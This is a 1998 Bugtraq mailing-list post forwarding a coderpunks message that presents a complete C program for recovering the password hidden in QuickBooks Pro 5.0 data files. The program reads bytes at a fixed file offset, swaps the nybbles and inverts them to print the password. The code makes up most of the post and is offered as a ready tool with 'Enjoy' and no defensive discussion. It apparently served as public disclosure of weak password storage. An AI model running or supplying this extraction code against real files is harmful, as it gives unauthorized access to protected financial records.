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FW: Here's code that gets password for QuickBooks Pro
daemon@ATHENA.MIT.EDU (Lucky Green)
Wed Aug 19 04:29:45 1998
Date: Tue, 18 Aug 1998 21:43:58 -0700
Reply-To: Lucky Green <shamrock@NETCOM.COM>
From: Lucky Green <shamrock@NETCOM.COM>
To: BUGTRAQ@NETSPACE.ORG
-----Original Message-----
From: owner-coderpunks@toad.com [mailto:owner-coderpunks@toad.com] On
Behalf Of Eric Blossom
Sent: Tuesday, August 18, 1998 6:25 PM
To: coderpunks@toad.com
Subject: Here's code that gets password for QuickBooks Pro
Hi,
Here's a simple hack that extracts the not very cleverly hidden
password stored in QuickBooks. I've only tested it with QuickBooks
Pro version 5.0.
Enjoy,
Eric
/* -*-C-*-
****************************************************************************
***
*
* File: get-qb-pw.c
* RCS: $Id: $
* Description: get the "quick books pro" password
* Author: Eric Blossom
* Created: Tue Aug 18 14:09:30 1998
* Modified: Tue Aug 18 17:39:22 1998 (eric) eb@starium.com
* Language: C
* Package: N/A
* Status: Experimental (Do Not Distribute)
*
****************************************************************************
***
*/
/*
* This has been tested only on QuickBooks Pro version 5.0
*/
#include <stdio.h>
main (int argc, char **argv)
{
FILE *fp;
int i;
unsigned char raw[10];
if (argc != 2){
fprintf (stderr, "usage: get-qb-pw filename\n");
exit (1);
}
if ((fp = fopen (argv[1], "rb")) == 0){
perror (argv[0]);
exit (1);
}
if (fseek (fp, 7635, SEEK_SET) != 0){
perror ("fseek failed");
exit (1);
}
if (fread (raw, 1, 10, fp) != 10){
perror ("fread failed");
exit (1);
}
for (i = 9; i >= 0; i--){
int t;
if (raw[i] == 0)
continue;
t = ((raw[i] & 0xf) << 4) | ((raw[i] >> 4) & 0xf); /* swap nybbles */
putchar (-t + 255);
}
putchar ('\n');
}
